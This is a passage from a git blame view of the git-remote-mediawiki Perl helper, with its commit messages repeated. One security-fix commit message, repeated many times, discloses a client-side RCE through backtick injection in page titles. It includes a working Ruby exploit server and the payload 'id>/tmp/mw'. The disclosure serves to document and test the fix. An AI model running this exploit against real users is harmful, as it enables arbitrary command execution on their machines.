When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
chomp(@tracked_categories);
|
|
|
|
|
2017-11-06 22:19:47 +01:00
|
|
|
# Just like @tracked_categories, but for MediaWiki namespaces.
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my @tracked_namespaces = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaces"]));
|
2017-11-06 22:19:48 +01:00
|
|
|
for (@tracked_namespaces) { s/_/ /g; }
|
2017-11-06 22:19:47 +01:00
|
|
|
chomp(@tracked_namespaces);
|
|
|
|
|
2012-07-16 21:46:37 +02:00
|
|
|
# Import media files on pull
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $import_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaimport"]);
|
2012-06-27 16:21:29 +02:00
|
|
|
chomp($import_media);
|
2013-06-14 15:50:30 +02:00
|
|
|
$import_media = ($import_media eq 'true');
|
2012-06-27 16:21:29 +02:00
|
|
|
|
2012-07-16 21:46:37 +02:00
|
|
|
# Export media files on push
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $export_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaexport"]);
|
2012-07-16 21:46:37 +02:00
|
|
|
chomp($export_media);
|
2013-06-14 15:50:30 +02:00
|
|
|
$export_media = !($export_media eq 'false');
|
2012-07-16 21:46:37 +02:00
|
|
|
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $wiki_login = run_git_quoted(["config", "--get", "remote.${remotename}.mwLogin"]);
|
2019-11-05 18:07:30 +01:00
|
|
|
# Note: mwPassword is discouraged. Use the credential system instead.
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $wiki_passwd = run_git_quoted(["config", "--get", "remote.${remotename}.mwPassword"]);
|
|
|
|
my $wiki_domain = run_git_quoted(["config", "--get", "remote.${remotename}.mwDomain"]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
chomp($wiki_login);
|
|
|
|
chomp($wiki_passwd);
|
2011-09-28 15:48:01 +02:00
|
|
|
chomp($wiki_domain);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
|
|
|
# Import only last revisions (both for clone and fetch)
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
my $shallow_import = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.shallow"]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
chomp($shallow_import);
|
2013-06-14 15:50:30 +02:00
|
|
|
$shallow_import = ($shallow_import eq 'true');
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
